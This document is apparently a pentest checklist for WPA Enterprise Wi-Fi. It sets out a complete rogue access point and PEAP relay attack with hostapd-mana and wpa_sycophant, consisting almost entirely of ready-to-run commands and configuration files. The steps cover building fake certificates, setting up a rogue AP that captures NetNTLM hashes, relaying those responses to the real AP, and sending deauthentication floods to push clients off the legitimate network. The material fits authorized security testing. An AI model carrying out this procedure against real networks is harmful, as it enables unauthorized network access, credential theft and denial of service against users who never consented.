Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

• If you can't crack the captured hash, relay it to the AP
  https://sensepost.com/blog/2019/peap-relay-attacks-with-wpa_sycophant/

• Requires 3 WLAN interfaces

  • 1 in monitor mode to scan and perform deauth attacks
  • 1 in master mode to host the rogue AP
  • 1 to relay the NTLM response to the AP

sudo airmon-ng start <interface>
airodump-ng <interface> -c <channel>

• Generate the certificates

openssl genrsa -out ca.key 2048
openssl req -new -x509 -days 365 -key ca.key -out ca.pem
openssl genrsa -out server.key 2048

• Generate a Certificate Signing Request using the server private key

openssl req -new -key server.key -out server.CA.csr

• Generate Diffie-Hellman paramaters for the key exchange

openssl dhparam -out dhparam.pem 2048

• Sign the CSR with the CA key and certificate

openssl x509 -req -in server.CA.csr -CA ca.pem -CAKey ca.key -CAcreateserial -out server.pem -days 365

• Configure https://github.com/sensepost/hostapd-mana
• Create the hostapd.conf file

# Interface configuration
interface=<interface>
ssid=<SSID>
channel=<channel>
auth_algs=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
wpa=3
hw_mode=g
ieee8021x=1

# EAP Configuration
eap_server=1
eap_user_file=hostapd.eap_user
eapol_key_index_workaround=0

# Mana Configuration
enable_mana=1
mana_loud=1
mana_credout=credentials.creds
mana_eapsuccess=1
mana_wpe=1

# Certificate Configuration
ca_cert=ca.pem
server_cert=server.pem
private_key=server.key
dh_file=dhparam.pem

# Sycophant Configuration
enable_sycophant=1
sycophant_dir=/tmp/

• Configure hostapd.eap_user

*       PEAP,TTLS,TLS,MD5,GTC
"t"TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP   "challenge1234"[2]

• Start the rogue AP

hostapd-mana ./hostapd.conf

• Configure https://github.com/sensepost/wpa_sycophant to relay the messages to the AP
• Create wpa_sycophant.config file in /opt/wpa_sycophant

network={
  ssid=<SSID>
  scan_ssid=1
  key_mgmt=WPA-EAP
  identity=""
  anonymous_identity=""
  password=""
  eap=PEAP
  phase1="crypto_binding=0 peaplabel=0"
  phase2="auth=MSCHAPV2"
  bssid_blacklist=<MAC of the rogue AP>
}

• Start WPA-sycophant

wpa_sycophant.sh -c wpa_sycophant.config -i <interface 2>

• Wait for a connection to the rogue AP or conduct deauth attacks

aireplay-ng -0 0 -a <BSSID MAC> -c <client mac> <interface>

• HostAPD terminal will show if a client connects and will capture the NetNTLM hash.
• The wpa-sychophant terminal will show the relay process
• If the WLAN2 interface gets a valid IP address then we have authenticated to the network.